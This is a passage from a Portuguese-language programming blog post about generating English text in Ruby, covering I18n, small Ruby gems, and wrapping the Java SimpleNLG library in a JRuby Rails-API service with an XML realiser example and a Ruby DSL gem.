</span></span><span class="line"><span class="cl">  <span class="ss">:other</span> <span class="o">=&gt;</span> <span class="s1">&#39;There are %{count} users&#39;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="no">I18n</span><span class="o">.</span><span class="n">translate</span> <span class="ss">:user_msg</span><span class="p">,</span> <span class="ss">:count</span> <span class="o">=&gt;</span> <span class="mi">2</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; &#39;There are 2 users&#39;</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Para frases transacionais simples (tipo flash messages), isso resolve de sobra.</p>
<p>Mas se você quer gerar um artigo inteiro em inglês a partir de estruturas de dados, a lógica fica convoluta muito rápido.</p>
<p>Dei uma olhada em alguns projetos Ruby que poderiam ajudar, por exemplo:</p>
<ul>
<li><a href="https://github.com/chorn/nameable"target="_blank" rel="noopener">&ldquo;nameable&rdquo;</a> que faz coisas úteis assim:</li>
</ul>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="no">Nameable</span><span class="o">::</span><span class="no">Latin</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="s1">&#39;Chris&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">gender</span>
</span></span><span class="line"><span class="cl"><span class="c1">#=&gt; :male</span>
</span></span><span class="line"><span class="cl"><span class="no">Nameable</span><span class="o">::</span><span class="no">Latin</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="s1">&#39;Janine&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">female?</span>
</span></span><span class="line"><span class="cl"><span class="c1">#=&gt; true</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<ul>
<li><a href="https://github.com/maetl/calyx"target="_blank" rel="noopener">&ldquo;calyx&rdquo;</a> que dá pra usar para gerar frases simples desse jeito:</li>
</ul>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="k">class</span> <span class="nc">GreenBottle</span> <span class="o">&lt;</span> <span class="no">Calyx</span><span class="o">::</span><span class="no">Grammar</span>
</span></span><span class="line"><span class="cl">  <span class="n">mapping</span> <span class="ss">:pluralize</span><span class="p">,</span> <span class="sr">/(.+)/</span> <span class="o">=&gt;</span> <span class="s1">&#39;\\1s&#39;</span>
</span></span><span class="line"><span class="cl">  <span class="n">start</span> <span class="s1">&#39;One green {bottle}.&#39;</span><span class="p">,</span> <span class="s1">&#39;Two green {bottle.pluralize}.&#39;</span>
</span></span><span class="line"><span class="cl">  <span class="n">bottle</span> <span class="s1">&#39;bottle&#39;</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; &#34;One green bottle.&#34;</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; &#34;Two green bottles.&#34;</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Bonitinho, mas ainda inútil para as necessidades mais complexas que tenho em mente.</p>
<p>Então resolvi cavar mais fundo, no mundo obscuro do NLG, ou <strong>Natural Language Generation</strong> (Geração de Linguagem Natural). Cuidado para não confundir com NLP, que é Natural Language Processing, justamente o oposto do que eu quero. NLP recebe um texto em inglês e devolve uma estrutura de dados parseada.</p>
<p>Para <strong>NLP</strong> (parsing, tokenização, etc), recomendo demais o <a href="http://stanfordnlp.github.io/CoreNLP/"target="_blank" rel="noopener">&ldquo;Stanford CoreNLP&rdquo;</a>. Parece ser um dos mais robustos e completos por aí (vai, é de Stanford). Também é um projeto Java, e um download enorme (mais de 300MB!). Esses projetos de linguística são pesados pra caramba porque precisam baixar dicionários inteiros e bases de léxico.</p>
<p>Mas focando no meu problema atual, <strong>NLG</strong>, existem <a href="https://aclweb.org/aclwiki/index.php?title=Downloadable_NLG_systems"target="_blank" rel="noopener">várias opções</a> disponíveis. Sendo bem honesto, não fiz uma pesquisa muito extensa, então se você conhece qual é o mais robusto, bem mantido e com uma interface fácil de usar, deixa nos comentários aí embaixo.</p>
<p>Minha escolha foi o <a href="https://github.com/simplenlg/simplenlg"target="_blank" rel="noopener">SimpleNLG</a>. Pela página dele no GitHub dá pra ver que continua sendo bem mantido até hoje, é uma biblioteca Java simples e é uma das alternativas mais &ldquo;simples&rdquo;. Já o <a href="http://www.fb10.uni-bremen.de/anglistik/langpro/kpml/README.html"target="_blank" rel="noopener">KPML</a> está no extremo oposto: parece ser um dos mais antigos (desde os anos 80!) e robustos. Mas falando sério, você precisa praticamente de um Ph.D. só pra começar.</p>
<p>Ler o código-fonte Java do SimpleNLG foi chato, mas tranquilo o suficiente. Reserva um dia inteiro de estudo para se acostumar com o código e você está pronto.</p>
<p>O problema principal é que ele é escrito em Java, e eu não pretendo escrever nada em Java (ou derivados) por enquanto. Por um instante cheguei a considerar a empreitada de reescrever o troço todo em algo mais portátil, tipo Rust, que eu poderia carregar de qualquer lugar via FFI.</p>
<p>Mas mesmo o SimpleNLG tendo &ldquo;Simple&rdquo; no nome, ele tem algumas dependências cabeludas para carregar a base de léxico. E a base em si é um dump de HSQLDB, que é um banco escrito em Java. E ainda haveria a questão de manter um fork.</p>
<p>Desisti rápido dessa ideia e contornei o problema embrulhando a biblioteca dentro de um endpoint <a href="https://github.com/rails-api/rails-api"target="_blank" rel="noopener">Rails-API</a> simples. Tive uns problemas porque eu tinha o Git LFS rastreando os arquivos jar no meu sistema e o Heroku não suporta isso, e acabei com um deploy corrompido (cuidado com essas pegadinhas, aliás!).</p>
<p>No fim consegui colocar no ar um projeto JRuby + Rails-API funcionando com SimpleNLG embutido no Heroku. Você pode subir sua própria cópia clonando meu <a href="https://github.com/Codeminer42/nlg_service"target="_blank" rel="noopener">nlg_service</a>. Funciona bem com o JRuby 9.1.5.0 mais recente. Você precisa pagar pelo menos um plano Hobby no Heroku. Java leva um tempo ridículo para subir e mais tempo ainda para esquentar. O free tier do Heroku desliga seu dyno se ele ficar parado, e a próxima requisição web vai dar timeout ou levar uma eternidade para responder.</p>
<p>Uma vez no ar, ele sobe o Rails e carrega <a href="https://github.com/Codeminer42/nlg_service/blob/master/config/initializers/simple_nlg.rb"target="_blank" rel="noopener">este initializer</a>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="nb">require</span> <span class="s1">&#39;java&#39;</span>
</span></span><span class="line"><span class="cl"><span class="no">Java</span><span class="o">::</span><span class="no">JavaLang</span><span class="o">::</span><span class="no">System</span><span class="o">.</span><span class="n">set_property</span> <span class="s2">&#34;file.encoding&#34;</span><span class="p">,</span><span class="s2">&#34;UTF-8&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="no">SIMPLE_NLG_DEFAULT_LEXICON_PATH</span> <span class="o">=</span> <span class="no">Rails</span><span class="o">.</span><span class="n">root</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="s2">&#34;lib/SimpleNLG/resources/default-lexicon.xml&#34;</span><span class="p">)</span><span class="o">.</span><span class="n">to_s</span><span class="o">.</span><span class="n">freeze</span>
</span></span><span class="line"><span class="cl"><span class="no">SIMPLE_NLG_PATH</span>                 <span class="o">=</span> <span class="no">Rails</span><span class="o">.</span><span class="n">root</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="s2">&#34;lib/SimpleNLG&#34;</span><span class="p">)</span><span class="o">.</span><span class="n">to_s</span><span class="o">.</span><span class="n">freeze</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="no">Dir</span><span class="o">[</span><span class="s2">&#34;</span><span class="si">#{</span><span class="no">SIMPLE_NLG_PATH</span><span class="si">}</span><span class="s2">/*.jar&#34;</span><span class="o">].</span><span class="n">each</span> <span class="p">{</span> <span class="o">|</span><span class="n">jar</span><span class="o">|</span> <span class="nb">require</span> <span class="n">jar</span> <span class="p">}</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>E depois mapeio as classes <a href="https://github.com/Codeminer42/nlg_service/blob/master/app/models/simple_nlg.rb"target="_blank" rel="noopener">assim</a>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="k">module</span> <span class="nn">SimpleNLG</span>
</span></span><span class="line"><span class="cl">  <span class="sx">%w(
</span></span></span><span class="line"><span class="cl"><span class="sx">    simplenlg.aggregation
</span></span></span><span class="line"><span class="cl"><span class="sx">    simplenlg.features
</span></span></span><span class="line"><span class="cl"><span class="sx">    simplenlg.format.english
</span></span></span><span class="line"><span class="cl"><span class="sx">    simplenlg.framework
</span></span></span><span class="line"><span class="cl"><span class="sx">    simplenlg.lexicon
</span></span></span><span class="line"><span class="cl"><span class="sx">    simplenlg.morphology.english
</span></span></span><span class="line"><span class="cl"><span class="sx">    simplenlg.orthography.english
</span></span></span><span class="line"><span class="cl"><span class="sx">    simplenlg.phrasespec
</span></span></span><span class="line"><span class="cl"><span class="sx">    simplenlg.realiser.english
</span></span></span><span class="line"><span class="cl"><span class="sx">    simplenlg.syntax.english
</span></span></span><span class="line"><span class="cl"><span class="sx">    simplenlg.xmlrealiser
</span></span></span><span class="line"><span class="cl"><span class="sx">    simplenlg.xmlrealiser.wrapper
</span></span></span><span class="line"><span class="cl"><span class="sx">  )</span><span class="o">.</span><span class="n">each</span> <span class="p">{</span> <span class="o">|</span><span class="n">package</span><span class="o">|</span> <span class="n">include_package</span> <span class="n">package</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Por fim, tenho um endpoint simples mapeado para uma action de <a href="https://github.com/Codeminer42/nlg_service/blob/master/app/controllers/api/realisers_controller.rb"target="_blank" rel="noopener">controller</a>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="k">class</span> <span class="nc">Api</span><span class="o">::</span><span class="no">RealisersController</span> <span class="o">&lt;</span> <span class="no">ApplicationController</span>
</span></span><span class="line"><span class="cl">  <span class="k">def</span> <span class="nf">create</span>
</span></span><span class="line"><span class="cl">    <span class="n">reader</span> <span class="o">=</span> <span class="n">java</span><span class="o">::</span><span class="n">io</span><span class="o">::</span><span class="no">StringReader</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="n">params</span><span class="o">[</span><span class="ss">:xml</span><span class="o">]</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">begin</span>
</span></span><span class="line"><span class="cl">      <span class="n">records</span> <span class="o">=</span> <span class="no">SimpleNLG</span><span class="o">::</span><span class="no">XMLRealiser</span><span class="o">.</span><span class="n">getRecording</span><span class="p">(</span><span class="n">reader</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">      <span class="n">output</span> <span class="o">=</span> <span class="n">records</span><span class="o">.</span><span class="n">getRecord</span><span class="o">.</span><span class="n">map</span> <span class="k">do</span> <span class="o">|</span><span class="n">record</span><span class="o">|</span>
</span></span><span class="line"><span class="cl">        <span class="no">SimpleNLG</span><span class="o">::</span><span class="no">XMLRealiser</span><span class="o">.</span><span class="n">realise</span><span class="p">(</span><span class="n">record</span><span class="o">&amp;.</span><span class="n">getDocument</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">      <span class="k">end</span>
</span></span><span class="line"><span class="cl">      <span class="vi">@realisation</span> <span class="o">=</span> <span class="n">output</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="s2">&#34;</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">)</span><span class="o">.</span><span class="n">strip</span>
</span></span><span class="line"><span class="cl">      <span class="n">render</span> <span class="ss">plain</span><span class="p">:</span> <span class="vi">@realisation</span>
</span></span><span class="line"><span class="cl">    <span class="k">ensure</span>
</span></span><span class="line"><span class="cl">      <span class="n">reader</span><span class="o">.</span><span class="n">close</span>
</span></span><span class="line"><span class="cl">    <span class="k">end</span>
</span></span><span class="line"><span class="cl">  <span class="k">end</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>O processo de gerar o texto final em inglês se chama <strong>&ldquo;realisation&rdquo;</strong> (realização). O SimpleNLG tem uma API Java bem completa, mas também expõe tudo num formato XML mais simples. O <a href="https://github.com/simplenlg/simplenlg/blob/master/src/main/resources/xml/RealizerSchema.xsd"target="_blank" rel="noopener">XML Realiser Schema</a> completo está disponível como XSD.</p>
<p>Se eu quiser escrever esta frase:</p>
<blockquote>
  <p>&ldquo;There are some finished and delivered stories that may not have been tested.&rdquo;</p>

</blockquote>
<p>Este é o XML que preciso montar:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-xml" data-lang="xml"><span class="line"><span class="cl"><span class="cp">&lt;?xml version=&#34;1.0&#34;?&gt;</span>
</span></span><span class="line"><span class="cl"><span class="nt">&lt;NLGSpec</span> <span class="na">xmlns=</span><span class="s">&#34;http://simplenlg.googlecode.com/svn/trunk/res/xml&#34;</span> <span class="na">xmlns:xsd=</span><span class="s">&#34;http://www.w3.org/2001/XMLSchema&#34;</span> <span class="na">xmlns:xsi=</span><span class="s">&#34;http://www.w3.org/2001/XMLSchema-instance&#34;</span><span class="nt">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&lt;Recording&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&lt;Record&gt;</span>
</span></span><span class="line"><span class="cl">      <span class="nt">&lt;Document</span> <span class="na">cat=</span><span class="s">&#34;PARAGRAPH&#34;</span><span class="nt">&gt;</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&lt;child</span> <span class="na">xsi:type=</span><span class="s">&#34;SPhraseSpec&#34;</span><span class="nt">&gt;</span>
</span></span><span class="line"><span class="cl">          <span class="nt">&lt;subj</span> <span class="na">xsi:type=</span><span class="s">&#34;NPPhraseSpec&#34;</span><span class="nt">&gt;</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&lt;head</span> <span class="na">cat=</span><span class="s">&#34;ADVERB&#34;</span><span class="nt">&gt;</span>
</span></span><span class="line"><span class="cl">              <span class="nt">&lt;base&gt;</span>there<span class="nt">&lt;/base&gt;</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&lt;/head&gt;</span>
</span></span><span class="line"><span class="cl">          <span class="nt">&lt;/subj&gt;</span>
</span></span><span class="line"><span class="cl">          <span class="nt">&lt;vp</span> <span class="na">xsi:type=</span><span class="s">&#34;VPPhraseSpec&#34;</span> <span class="na">PERSON=</span><span class="s">&#34;THIRD&#34;</span><span class="nt">&gt;</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&lt;head</span> <span class="na">cat=</span><span class="s">&#34;VERB&#34;</span><span class="nt">&gt;</span>
</span></span><span class="line"><span class="cl">              <span class="nt">&lt;base&gt;</span>be<span class="nt">&lt;/base&gt;</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&lt;/head&gt;</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&lt;compl</span> <span class="na">xsi:type=</span><span class="s">&#34;NPPhraseSpec&#34;</span> <span class="na">NUMBER=</span><span class="s">&#34;PLURAL&#34;</span><span class="nt">&gt;</span>
</span></span><span class="line"><span class="cl">              <span class="nt">&lt;head</span> <span class="na">cat=</span><span class="s">&#34;NOUN&#34;</span><span class="nt">&gt;</span>
</span></span><span class="line"><span class="cl">                <span class="nt">&lt;base&gt;</span>story<span class="nt">&lt;/base&gt;</span>
</span></span><span class="line"><span class="cl">              <span class="nt">&lt;/head&gt;</span>
</span></span><span class="line"><span class="cl">              <span class="nt">&lt;spec</span> <span class="na">xsi:type=</span><span class="s">&#34;WordElement&#34;</span> <span class="na">cat=</span><span class="s">&#34;DETERMINER&#34;</span><span class="nt">&gt;</span>
</span></span><span class="line"><span class="cl">                <span class="nt">&lt;base&gt;</span>a<span class="nt">&lt;/base&gt;</span>
</span></span><span class="line"><span class="cl">              <span class="nt">&lt;/spec&gt;</span>
</span></span><span class="line"><span class="cl">              <span class="nt">&lt;preMod</span> <span class="na">xsi:type=</span><span class="s">&#34;CoordinatedPhraseElement&#34;</span> <span class="na">conj=</span><span class="s">&#34;and&#34;</span><span class="nt">&gt;</span>
</span></span><span class="line"><span class="cl">                <span class="nt">&lt;coord</span> <span class="na">xsi:type=</span><span class="s">&#34;VPPhraseSpec&#34;</span> <span class="na">TENSE=</span><span class="s">&#34;PAST&#34;</span><span class="nt">&gt;</span>
</span></span><span class="line"><span class="cl">                  <span class="nt">&lt;head</span> <span class="na">cat=</span><span class="s">&#34;VERB&#34;</span><span class="nt">&gt;</span>
</span></span><span class="line"><span class="cl">                    <span class="nt">&lt;base&gt;</span>finish<span class="nt">&lt;/base&gt;</span>
</span></span><span class="line"><span class="cl">                  <span class="nt">&lt;/head&gt;</span>
</span></span><span class="line"><span class="cl">                <span class="nt">&lt;/coord&gt;</span>
</span></span><span class="line"><span class="cl">                <span class="nt">&lt;coord</span> <span class="na">xsi:type=</span><span class="s">&#34;VPPhraseSpec&#34;</span> <span class="na">TENSE=</span><span class="s">&#34;PAST&#34;</span><span class="nt">&gt;</span>
</span></span><span class="line"><span class="cl">                  <span class="nt">&lt;head</span> <span class="na">cat=</span><span class="s">&#34;VERB&#34;</span><span class="nt">&gt;</span>
</span></span><span class="line"><span class="cl">                    <span class="nt">&lt;base&gt;</span>deliver<span class="nt">&lt;/base&gt;</span>
</span></span><span class="line"><span class="cl">                  <span class="nt">&lt;/head&gt;</span>
</span></span><span class="line"><span class="cl">                <span class="nt">&lt;/coord&gt;</span>
</span></span><span class="line"><span class="cl">              <span class="nt">&lt;/preMod&gt;</span>
</span></span><span class="line"><span class="cl">              <span class="nt">&lt;compl</span> <span class="na">xsi:type=</span><span class="s">&#34;SPhraseSpec&#34;</span> <span class="na">MODAL=</span><span class="s">&#34;may&#34;</span> <span class="na">PASSIVE=</span><span class="s">&#34;true&#34;</span> <span class="na">TENSE=</span><span class="s">&#34;PAST&#34;</span><span class="nt">&gt;</span>
</span></span><span class="line"><span class="cl">                <span class="nt">&lt;vp</span> <span class="na">xsi:type=</span><span class="s">&#34;VPPhraseSpec&#34;</span> <span class="na">TENSE=</span><span class="s">&#34;PAST&#34;</span> <span class="na">NEGATED=</span><span class="s">&#34;true&#34;</span><span class="nt">&gt;</span>
</span></span><span class="line"><span class="cl">                  <span class="nt">&lt;head</span> <span class="na">cat=</span><span class="s">&#34;VERB&#34;</span><span class="nt">&gt;</span>
</span></span><span class="line"><span class="cl">                    <span class="nt">&lt;base&gt;</span>test<span class="nt">&lt;/base&gt;</span>
</span></span><span class="line"><span class="cl">                  <span class="nt">&lt;/head&gt;</span>
</span></span><span class="line"><span class="cl">                <span class="nt">&lt;/vp&gt;</span>
</span></span><span class="line"><span class="cl">              <span class="nt">&lt;/compl&gt;</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&lt;/compl&gt;</span>
</span></span><span class="line"><span class="cl">          <span class="nt">&lt;/vp&gt;</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&lt;/child&gt;</span>
</span></span><span class="line"><span class="cl">      <span class="nt">&lt;/Document&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&lt;/Record&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&lt;/Recording&gt;</span>
</span></span><span class="line"><span class="cl"><span class="nt">&lt;/NLGSpec&gt;</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Ok, eu sei, isso é absurdo.</p>
<p>Por isso resolvi seguir adiante e usar uma das forças mais reconhecidas do Ruby: criar <strong>DSLs</strong>, ou Domain Specific Languages.</p>
<p>O resultado da minha tentativa inicial de simplificar esse processo é a gem <a href="https://github.com/Codeminer42/nlg_xml_realiser_builder"target="_blank" rel="noopener">nlg_xml_realiser_builder</a>. Basta adicionar isso ao seu <code>Gemfile</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>gem &#39;nlg_xml_realiser_builder&#39;</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>E o XML monstruoso ali em cima vira algo bem mais gerenciável, assim:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">dsl</span> <span class="o">=</span> <span class="no">NlgXmlRealiserBuilder</span><span class="o">::</span><span class="no">DSL</span><span class="o">.</span><span class="n">new</span>
</span></span><span class="line"><span class="cl"><span class="n">dsl</span><span class="o">.</span><span class="n">builder</span><span class="p">(</span><span class="kp">true</span><span class="p">)</span> <span class="k">do</span>
</span></span><span class="line"><span class="cl">  <span class="n">sp</span> <span class="ss">:child</span> <span class="k">do</span>
</span></span><span class="line"><span class="cl">    <span class="n">subj</span> <span class="ss">:np</span><span class="p">,</span> <span class="s1">&#39;there&#39;</span><span class="p">,</span> <span class="ss">cat</span><span class="p">:</span> <span class="s1">&#39;ADVERB&#39;</span>
</span></span><span class="line"><span class="cl">    <span class="n">verb</span> <span class="s1">&#39;be&#39;</span><span class="p">,</span> <span class="ss">PERSON</span><span class="p">:</span> <span class="s1">&#39;THIRD&#39;</span> <span class="k">do</span>
</span></span><span class="line"><span class="cl">      <span class="n">compl</span> <span class="ss">:np</span><span class="p">,</span> <span class="o">[</span><span class="s1">&#39;a&#39;</span><span class="p">,</span> <span class="s1">&#39;story&#39;</span><span class="o">]</span><span class="p">,</span> <span class="ss">NUMBER</span><span class="p">:</span> <span class="s1">&#39;PLURAL&#39;</span>  <span class="k">do</span>
</span></span><span class="line"><span class="cl">        <span class="n">preMod</span> <span class="ss">:cp</span><span class="p">,</span> <span class="ss">conj</span><span class="p">:</span> <span class="s1">&#39;and&#39;</span> <span class="k">do</span>
</span></span><span class="line"><span class="cl">          <span class="n">coord</span> <span class="ss">:vp</span><span class="p">,</span> <span class="s1">&#39;finish&#39;</span><span class="p">,</span> <span class="ss">TENSE</span><span class="p">:</span> <span class="s1">&#39;PAST&#39;</span>
</span></span><span class="line"><span class="cl">          <span class="n">coord</span> <span class="ss">:vp</span><span class="p">,</span> <span class="s1">&#39;deliver&#39;</span><span class="p">,</span> <span class="ss">TENSE</span><span class="p">:</span> <span class="s1">&#39;PAST&#39;</span>
</span></span><span class="line"><span class="cl">        <span class="k">end</span>
